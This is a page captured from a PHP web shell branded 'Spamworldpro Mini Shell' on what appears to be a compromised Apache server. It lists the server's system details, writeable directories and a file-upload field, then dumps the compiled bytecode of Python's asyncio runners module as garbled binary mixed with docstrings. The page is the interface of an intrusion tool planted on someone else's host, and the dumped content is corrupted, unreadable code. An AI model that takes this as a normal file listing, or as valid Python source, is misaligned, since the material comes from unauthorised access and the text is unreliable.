Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3.10/asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.10/asyncio/__pycache__/runners.cpython-310.pyc
o

�*�g8�@sBdZddlmZddlmZddlmZdd�dd�Zd	d
�ZdS))�run�)�
coroutines)�events)�tasksN)�debugcCs�t��dur
td��t�|�std�|���t��}z;t�|�|dur)|�	|�|�
|�Wzt|�|�
|���|�
|�
��Wt�d�|��St�d�|��wzt|�|�
|���|�
|�
��Wt�d�|��wt�d�|��w)a�Execute the coroutine and return the result.

    This function runs the passed coroutine, taking care of
    managing the asyncio event loop and finalizing asynchronous
    generators.

    This function cannot be called when another asyncio event loop is
    running in the same thread.

    If debug is True, the event loop will be run in debug mode.

    This function always creates a new event loop and closes it at the end.
    It should be used as a main entry point for asyncio programs, and should
    ideally only be called once.

    Example:

        async def main():
            await asyncio.sleep(1)
            print('hello')

        asyncio.run(main())
    Nz8asyncio.run() cannot be called from a running event loopz"a coroutine was expected, got {!r})r�_get_running_loop�RuntimeErrorr�iscoroutine�
ValueError�format�new_event_loop�set_event_loop�	set_debug�run_until_complete�_cancel_all_tasks�shutdown_asyncgens�shutdown_default_executor�close)�mainr�loop�r�&/usr/lib/python3.10/asyncio/runners.pyrs8�






�
�


�
rcCstt�|�}|s	dS|D]}|��q|�tj|ddi��|D]}|��r&q|��dur7|�d|��|d��qdS)N�return_exceptionsTz1unhandled exception during asyncio.run() shutdown)�message�	exception�task)r�	all_tasks�cancelr�gather�	cancelledr�call_exception_handler)r�	to_cancelrrrrr7s"

���r)�__all__�rrrrrrrrr�<module>s/

Spamworldpro Mini